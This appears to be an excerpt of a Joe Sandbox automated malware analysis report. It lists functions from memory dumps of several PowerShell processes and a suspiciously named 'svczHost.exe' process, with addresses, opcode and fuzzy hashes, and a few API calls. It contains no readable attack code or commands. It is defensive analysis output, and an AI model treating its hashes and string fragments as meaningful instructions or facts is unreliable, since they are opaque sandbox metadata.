` /O, xrefs: 00007FFB4EE51681
/K_I, xrefs: 00007FFB4EE517C4
X"/O, xrefs: 00007FFB4EE516F1
8!/O, xrefs: 00007FFB4EE516B1

Memory Dump Source

Source File: 00000003.00000002.3457000921.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID: /K_I$8!/O$X"/O$` /O
API String ID: 0-1825812228
Opcode ID: 2b8162790563dab03d31271c86e7e3c45bb51f8337ba7aec155c73dd93ac83b0
Instruction ID: 2df42a10bf6c7d49f99bcaaa3a1f4c2a6fc1d8477a74d2052d08388810fa0b06
Opcode Fuzzy Hash: 2b8162790563dab03d31271c86e7e3c45bb51f8337ba7aec155c73dd93ac83b0
Instruction Fuzzy Hash: EF81B38391EEC20FF39A1BFC6D551299E90FB82668B9903FBE0C44B1DF94559D058391

Analysis Process: powershell.exePID: 4152, Parent PID: 6736COMMON

Executed Functions

Function 00007FFB4ED0ED40 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3294622807.00007FFB4ED0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4ED0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb4ed0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef58b8d35a50ffcc5f439580d11178ebd9a4b90eaa0ddd5496f11d1b415b6ccf
Instruction ID: 0da539981cf5d8aec6e2e1a4119b76350e673193d65511aee18001135c1a354e
Opcode Fuzzy Hash: ef58b8d35a50ffcc5f439580d11178ebd9a4b90eaa0ddd5496f11d1b415b6ccf
Instruction Fuzzy Hash: 5D41247040DBC44FEB5A9B39D8519523FF0EF57224B1905DFD488CB1A3D629B84AC7A2

Function 00007FFB4EE23C85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3295279993.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e05a9dfb5ee6984be3590a24a3a2682e7aa8105dbaeb50ec93735a14c182a08
Instruction ID: 1d1e6794d14d8db9557408c8f2f27dd7c86eae19bed02b4ad0d8c1fcf9822d96
Opcode Fuzzy Hash: 5e05a9dfb5ee6984be3590a24a3a2682e7aa8105dbaeb50ec93735a14c182a08
Instruction Fuzzy Hash: 6301A77110CB0D8FD744EF0CE451AB9B3E0FB89324F10052EE58AC3251DA32E882CB42

Analysis Process: powershell.exePID: 824, Parent PID: 2620COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB4EE0E954 Relevance: 1.6, APIs: 1, Instructions: 116
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFB4EE0E9FE

Memory Dump Source

Source File: 0000000C.00000002.4410318965.00007FFB4EE00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb4ee00000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cb39defc1c9747ebef030a681050e95199ecca74a6872b36bc355f8f2d1c6623
Instruction ID: 41bcd01a002ce1b2b9c9a682ac9e5017f2e41384f858eeae2ee3dd297135730f
Opcode Fuzzy Hash: cb39defc1c9747ebef030a681050e95199ecca74a6872b36bc355f8f2d1c6623
Instruction Fuzzy Hash: D931F27190CA5D9FDB59EF68C845AE9BBE0FB65320F04826BC049D3252DB70A8058B91

Function 00007FFB4F332601 Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4490797387.00007FFB4F330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4F330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb4f330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30d5753b69907a528d5e810d4b572950d787faafd53b7b222cd307ce691a65a2
Instruction ID: 35dac0645686fb80abc1afb319f62eef3226366b8a065c0cc965878a339a19f2
Opcode Fuzzy Hash: 30d5753b69907a528d5e810d4b572950d787faafd53b7b222cd307ce691a65a2
Instruction Fuzzy Hash: 0CD126A2A0DB890FE796EB3898545B57FE1EF96211B0901FBD48CCB1A3D918EC05C391

Function 00007FFB4ECEEE20 Relevance: .1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4400134296.00007FFB4ECED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4ECED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb4eced000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7286ede3130a84cd6a774c532d09c65bce4ae27eb40d0a68f2b7f36d93918e9
Instruction ID: ac50c792cf47906d06487a0c49c8039cdf94b5fc1f326988c87cd6de193753c9
Opcode Fuzzy Hash: c7286ede3130a84cd6a774c532d09c65bce4ae27eb40d0a68f2b7f36d93918e9
Instruction Fuzzy Hash: E941F07180DBC49FE756DB38D8419523FF0EF52260B1505EFE088CB5A3DA25A84AC7A2

Function 00007FFB4EEDB89D Relevance: .0, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4421338891.00007FFB4EED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb4eed0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e049d64273919da39e45a21e36a61cecb9d49e4beb5712698260047e9e5d6985
Instruction ID: 4abd8179aa97fa0ef9137e8ab78e90016f2bee3ba5b80ee6a4f521551c197910
Opcode Fuzzy Hash: e049d64273919da39e45a21e36a61cecb9d49e4beb5712698260047e9e5d6985
Instruction Fuzzy Hash: 44F03A72A4DA458FD799AB6CE4418A877E0EF45320B1500FAE15DC7563DA25EC51C740

Function 00007FFB4F334634 Relevance: .0, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4490797387.00007FFB4F330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4F330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb4f330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 784bbf82d11d5014e6335e2e843ac9e3ba7b930b6a23a920d37a08303df73cfa
Instruction ID: ad6c702382a40ded6d5665c88e4fae4853c0a57900d949cbccfa1ff52877baea
Opcode Fuzzy Hash: 784bbf82d11d5014e6335e2e843ac9e3ba7b930b6a23a920d37a08303df73cfa
Instruction Fuzzy Hash: 13F0373171CF044FE744EE2DD445665B7E1FBAC315F14462FE44EC3651DA25E8818786

Function 00007FFB4EEDBB50 Relevance: .0, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4421338891.00007FFB4EED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb4eed0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 164a50d10dd4f007b5d4765abb7703394f78f879b6e9174370d50fe4c37e6b90
Instruction ID: 775058263f47282f6a43f186eba3936594d47289a341bace0dee29da2f7a74fd
Opcode Fuzzy Hash: 164a50d10dd4f007b5d4765abb7703394f78f879b6e9174370d50fe4c37e6b90
Instruction Fuzzy Hash: 03F05872A4DA498FDBA9FB6CE4418A877E0FF05320B1500F6E05DCB463EA69AC40CB50

Function 00007FFB4F333483 Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4490797387.00007FFB4F330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4F330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb4f330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c961dc9714aa1cb0da987748d1b3270f57669341ee70a98f44280d1d4134d9
Instruction ID: 7afc3f4d3628ab7fdc3ae52892e740f506be5379dd1130f3aeea7c66fd58038e
Opcode Fuzzy Hash: 98c961dc9714aa1cb0da987748d1b3270f57669341ee70a98f44280d1d4134d9
Instruction Fuzzy Hash: BDE04FB2A1C5198EE755FB29F5474FCB3D0EF44221B5044B6E51EC7453EE25B8518640

Non-executed Functions

Function 00007FFB4F336FED Relevance: 5.5, Strings: 4, Instructions: 471COMMON

Download Yara Rule

Strings

`&4O, xrefs: 00007FFB4F33717D
`&4O, xrefs: 00007FFB4F3371B4
`&4O, xrefs: 00007FFB4F337368
`&4O, xrefs: 00007FFB4F337233

Memory Dump Source

Source File: 0000000C.00000002.4490797387.00007FFB4F330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4F330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffb4f330000_powershell.jbxd

Similarity

API ID:
String ID: `&4O$`&4O$`&4O$`&4O
API String ID: 0-783315332
Opcode ID: c2cd887932fe0fb9d8dfa607b281c262c11c3203c8fb0b0d6195053ea5943e55
Instruction ID: a49a7e031e879c45c04ece0210b1d62c10ba28b4dc674328b60067a5b72394c1
Opcode Fuzzy Hash: c2cd887932fe0fb9d8dfa607b281c262c11c3203c8fb0b0d6195053ea5943e55
Instruction Fuzzy Hash: B8D1F6A290DBC91FE756FB38D8565B57FE1EF96211B0801FEE48DCB093D918AC068391

Analysis Process: svczHost.exePID: 9108, Parent PID: 1384COMMON

Non-executed Functions

Function 00007FF633A4BFE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF633A4C00C
GetCurrentThreadId.KERNEL32 ref: 00007FF633A4C01A
GetCurrentProcessId.KERNEL32 ref: 00007FF633A4C026
QueryPerformanceCounter.KERNEL32 ref: 00007FF633A4C036

Memory Dump Source

Source File: 00000014.00000002.4699336322.00007FF633991000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF633990000, based on PE: true

Associated: 00000014.00000002.4699265109.00007FF633990000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4700277924.00007FF633E10000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4700638518.00007FF633F82000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4700638518.00007FF634098000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4701490942.00007FF6342A7000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4701563115.00007FF6342A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4701563115.00007FF6342C1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4701563115.00007FF6342C4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4701563115.00007FF6342C6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.4701876412.00007FF6342C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff633990000_svczHost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction ID: 4a22e1413674ec06eea01ac03514922fd864304da10821d62150937b95c2b9af
Opcode Fuzzy Hash: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction Fuzzy Hash: 2E113C26B14F059AEB00CF61E8552B833A4FB59768F840E35DE6D977A4DF78E1988340

Analysis Process: powershell.exePID: 6164, Parent PID: 9108COMMON

Executed Functions

Function 00007FFB4EE27796 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4020096986.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3787a4a15b270dbb8acbd926fc1f7c59fbc8e310d9f4ed27b26a0817f0dd83e
Instruction ID: cd2bf35a025998ded2a71691a7ddfb54284fee64c05e9797d336514736285034
Opcode Fuzzy Hash: f3787a4a15b270dbb8acbd926fc1f7c59fbc8e310d9f4ed27b26a0817f0dd83e
Instruction Fuzzy Hash: 70F1917090CA8E8FEBA9EF28C8557E937D1FF59310F04426EE84DC7291DB7499458B82

Function 00007FFB4EE28542 Relevance: .5, Instructions: 462COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4020096986.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3a635a9be81a33c369a4b30bd429dae96642743361a3dece93a248b289532fd
Instruction ID: 5490e49c86387717238f0ee89ddfaceda7af4fcaae77609c314fcc07c206ed48
Opcode Fuzzy Hash: e3a635a9be81a33c369a4b30bd429dae96642743361a3dece93a248b289532fd
Instruction Fuzzy Hash: CCE1A37050CA8E4FEBA9EF38D8567E97BD1FF58310F04426ED84DC7291DA7898458782

Function 00007FFB4EE28156 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4020096986.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5bc564ae54045391f8d5ee90c064ffb8a82b793b140728bbf238fe624383d4
Instruction ID: 0ea48c85c70b036bd976d8405c9eed5960a6f42dbf6014fb61bff71c4a0749dc
Opcode Fuzzy Hash: 2a5bc564ae54045391f8d5ee90c064ffb8a82b793b140728bbf238fe624383d4
Instruction Fuzzy Hash: 94B1C47050CA8D4FEBA9EF28C8457E93BD1FF59310F04426EE84DC7292DE74A8458B82

Function 00007FFB4EE27C54 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4020096986.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1986636b381a9a9e9d3bf0a25087261135088901102f99786d59b740b81ddd3
Instruction ID: e6771287fd46a3549791b91d4cb461365ac7600ba83344b20394f4f3b08ea7a1
Opcode Fuzzy Hash: d1986636b381a9a9e9d3bf0a25087261135088901102f99786d59b740b81ddd3
Instruction Fuzzy Hash: E8311EB095D54E8EFBF4AF34CD06BF93290FF4A315F404139D44D86192DAB86985CB12

Function 00007FFB4EE233B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4020096986.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 563c5c0cc51c7820d9e373bacac7d27919de6bd9dd9b83cd2a7499edcc8aa980
Instruction ID: 15bf81dba39e32380361dfeda8f3abbf8724f728317c115e2dd79405868112bb
Opcode Fuzzy Hash: 563c5c0cc51c7820d9e373bacac7d27919de6bd9dd9b83cd2a7499edcc8aa980
Instruction Fuzzy Hash: 0D01677115CB0D8FD744EF0CE451AB9B7E0FB99324F10056EE58AC3661DA36E892CB46

Analysis Process: powershell.exePID: 8532, Parent PID: 9108COMMON

Executed Functions

Function 00007FFB4EE284DA Relevance: 4.3, Strings: 3, Instructions: 504COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFB4EE2880E
M_^, xrefs: 00007FFB4EE2850A
M_^, xrefs: 00007FFB4EE284DA

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID: @$M_^$M_^
API String ID: 0-4234330022
Opcode ID: 5acd1294e24111f1131fc7af44b38b3db09c767a8b35d90929a59df671faadaf
Instruction ID: a150ad18994341cc0eb536a4dd44f50e40850c6afea8fd033fc8fa85aa366408
Opcode Fuzzy Hash: 5acd1294e24111f1131fc7af44b38b3db09c767a8b35d90929a59df671faadaf
Instruction Fuzzy Hash: 3AD14BA180D6CA4FE796EF38C9516A57FD1FF5A310F0842F9D0898B1C3DD6868078352

Function 00007FFB4EE26FED Relevance: .4, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7741032e70d9e40a26ca0b9c233c150292ac2fb7a436f5d2a6251df18c4f9ab
Instruction ID: 43b179aaeddb3d2b398128c2c21575ca5b72a7b4b6e29eb0cd10af8612b6cc05
Opcode Fuzzy Hash: e7741032e70d9e40a26ca0b9c233c150292ac2fb7a436f5d2a6251df18c4f9ab
Instruction Fuzzy Hash: 94E1F7D2E1DAC70BEBD9AF7889216797B91FF99300F0405BAD449CB2C7DCA49D458382

Function 00007FFB4EE27030 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 110a4fe9994c90547c9ca624b448b9d05d4abd1f44976be97beefd252d42d977
Instruction ID: 6186e75798ef3422eb47526eccbfd38dc66de1ff039f42898407fc5e7b0e0916
Opcode Fuzzy Hash: 110a4fe9994c90547c9ca624b448b9d05d4abd1f44976be97beefd252d42d977
Instruction Fuzzy Hash: E0D10892E1DA870BEBD9BF7888216797BD1FF99300F0406BAD449C72C7DCA49D458382

Function 00007FFB4EE27130 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 103dc83842d6df03791cc77cfbb985c8d19661e18b83b1a8a2b12099bdf0048b
Instruction ID: faad3395a4560ea194d9c6f3dd36652d6c02ee27d02d57909467045a5318f853
Opcode Fuzzy Hash: 103dc83842d6df03791cc77cfbb985c8d19661e18b83b1a8a2b12099bdf0048b
Instruction Fuzzy Hash: 0391B4A1E5CA4B4BEFA9BF38C8656B977D1FF58300F000579D44EC76C2EDA4A8458782

Function 00007FFB4EE27140 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5949a4bcd27e13500a94da0a579ed55b393acb82dca161b3f42b71a24a40fd54
Instruction ID: 2039aebd7690f63fb69f24637cc66e25b3387309635a939247c80901bbde8466
Opcode Fuzzy Hash: 5949a4bcd27e13500a94da0a579ed55b393acb82dca161b3f42b71a24a40fd54
Instruction Fuzzy Hash: D291B4A1E5CA4A4BEF99BF38C8616BD77D1FF98300F004579D40EC76C2EDA4A8458782

Function 00007FFB4EE27DCE Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d13a18bac4b1d962b7eb6fff73c7fd4bfc4a575e20cbd2973d942836ffcf4c2
Instruction ID: 537a0bfe9fffc32f776caed9a4922205c4270a0f60b373574d7e65664e041e21
Opcode Fuzzy Hash: 1d13a18bac4b1d962b7eb6fff73c7fd4bfc4a575e20cbd2973d942836ffcf4c2
Instruction Fuzzy Hash: B361C47190CA5C8FDBA9EF58D8457E9B7F0FF69310F0042AAD44DE3251DAB06A85CB81

Function 00007FFB4EE2AC32 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16ecc816ee0c241840a99eba75c5010598065b5121e7c9215aa4a3c08e512d41
Instruction ID: c396da0c4935c924417c89951eb2804a875744a7a7eefc53d0dc34a59244857b
Opcode Fuzzy Hash: 16ecc816ee0c241840a99eba75c5010598065b5121e7c9215aa4a3c08e512d41
Instruction Fuzzy Hash: 65417071A6C90A4BDB99FF38C4556E9B3E1FFA8300F0046BAD40EC3682DE34B9458781

Function 00007FFB4EE27ED0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb57c4bbe0edaa89f07301dfff3173e9d84485eca6450a5d65cb35ac26545eaf
Instruction ID: 141bde9ba90c8c09c92f2e22d2333d5c1cafb0f7a29211addc298f6d7a2cf29f
Opcode Fuzzy Hash: bb57c4bbe0edaa89f07301dfff3173e9d84485eca6450a5d65cb35ac26545eaf
Instruction Fuzzy Hash: 3C41D97180CA5D8EEBA4EF58D8417E9B7F0FF58310F0042AAD44EA7641DAB46945CB85

Function 00007FFB4EE27EEF Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b4ef9646824f6e52a208c648386ede2776dce9e9e560404356bb8516e1fe43
Instruction ID: f2f3b458a25ed5db646d41289cf90fed4f2afca11df076e638079768f682ea95
Opcode Fuzzy Hash: 68b4ef9646824f6e52a208c648386ede2776dce9e9e560404356bb8516e1fe43
Instruction Fuzzy Hash: 5C41647190CA1D8FDF95EF58D881BE9B7B1FF68310F008299D04EA7241DA74AA85CF85

Function 00007FFB4EE2B029 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 107cf348f37c9bdd63f01f821cdacaabe9d5a3df745bb4d6ce121b2605f5b0d6
Instruction ID: 482b70b26d79f4aa67ecef451909b8e17828b78d5300b98a9554bb04027efe9d
Opcode Fuzzy Hash: 107cf348f37c9bdd63f01f821cdacaabe9d5a3df745bb4d6ce121b2605f5b0d6
Instruction Fuzzy Hash: 3931E57060C7898FD391EF7CC5486AABBD0FF99310F104A7AE088C7296DBA4D4848782

Function 00007FFB4EE2B040 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5f116bfed90572a601a50d3ade5ea521c2c5ad42fb8ff21087cb413d6f44e10
Instruction ID: 4c5f1fa92cc9a04e27f92d8a84e29d18f86da3fe190da4b28bca9a33be0e0260
Opcode Fuzzy Hash: d5f116bfed90572a601a50d3ade5ea521c2c5ad42fb8ff21087cb413d6f44e10
Instruction Fuzzy Hash: 1F110671A4CA498FD7A0FF38C48896AB7D1FB98310F104B3AD419C32A5DEB4E480C782

Function 00007FFB4EE26700 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91f8bb5612940347ec11d1d9cf77a374b71f9ec13eb81fd806d63c7de80ac71
Instruction ID: 1b1ea425ff1b333be9496b989a8d5facc64ebd398505a1fd74c6c132d28ccea6
Opcode Fuzzy Hash: c91f8bb5612940347ec11d1d9cf77a374b71f9ec13eb81fd806d63c7de80ac71
Instruction Fuzzy Hash: 7E01617094C54A8BEBA5BF74C955ABE76B0FF59310F10023DE04A935D2DEA46840C792

Function 00007FFB4EE233B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abec2792b95cc3134e75351a9277a07185e0420c5c5f3ff60835923a31afeda3
Instruction ID: 15bf81dba39e32380361dfeda8f3abbf8724f728317c115e2dd79405868112bb
Opcode Fuzzy Hash: abec2792b95cc3134e75351a9277a07185e0420c5c5f3ff60835923a31afeda3
Instruction Fuzzy Hash: 0D01677115CB0D8FD744EF0CE451AB9B7E0FB99324F10056EE58AC3661DA36E892CB46

Function 00007FFB4EE26F81 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04a97702e69f2405667142b6454efb4b4e9ebfb32af24e64031dd5624db87112
Instruction ID: 84bc14fbee90c29ed0051174181a2e7d700b16e57776ef5b618cc174e56dc5c3
Opcode Fuzzy Hash: 04a97702e69f2405667142b6454efb4b4e9ebfb32af24e64031dd5624db87112
Instruction Fuzzy Hash: CA0120A180EFC64FD367EF3884551A1BFE0EF5A11030946FBC089C7593DD5468858357

Function 00007FFB4EE26FA0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 645944420249632211b70d2375b3e6d81535ccbe9bf7e4fbafa260a05836ceb8
Instruction ID: f701f5f973fa8a6958f09b1f8baadb8415c29fa3b1001a7302579e7fd1d409c9
Opcode Fuzzy Hash: 645944420249632211b70d2375b3e6d81535ccbe9bf7e4fbafa260a05836ceb8
Instruction Fuzzy Hash: 7AF0A7A0D19E4A4FD7AAFF3D90451A2B7E1EF593103048BBBC44EC3596DE24B9498385

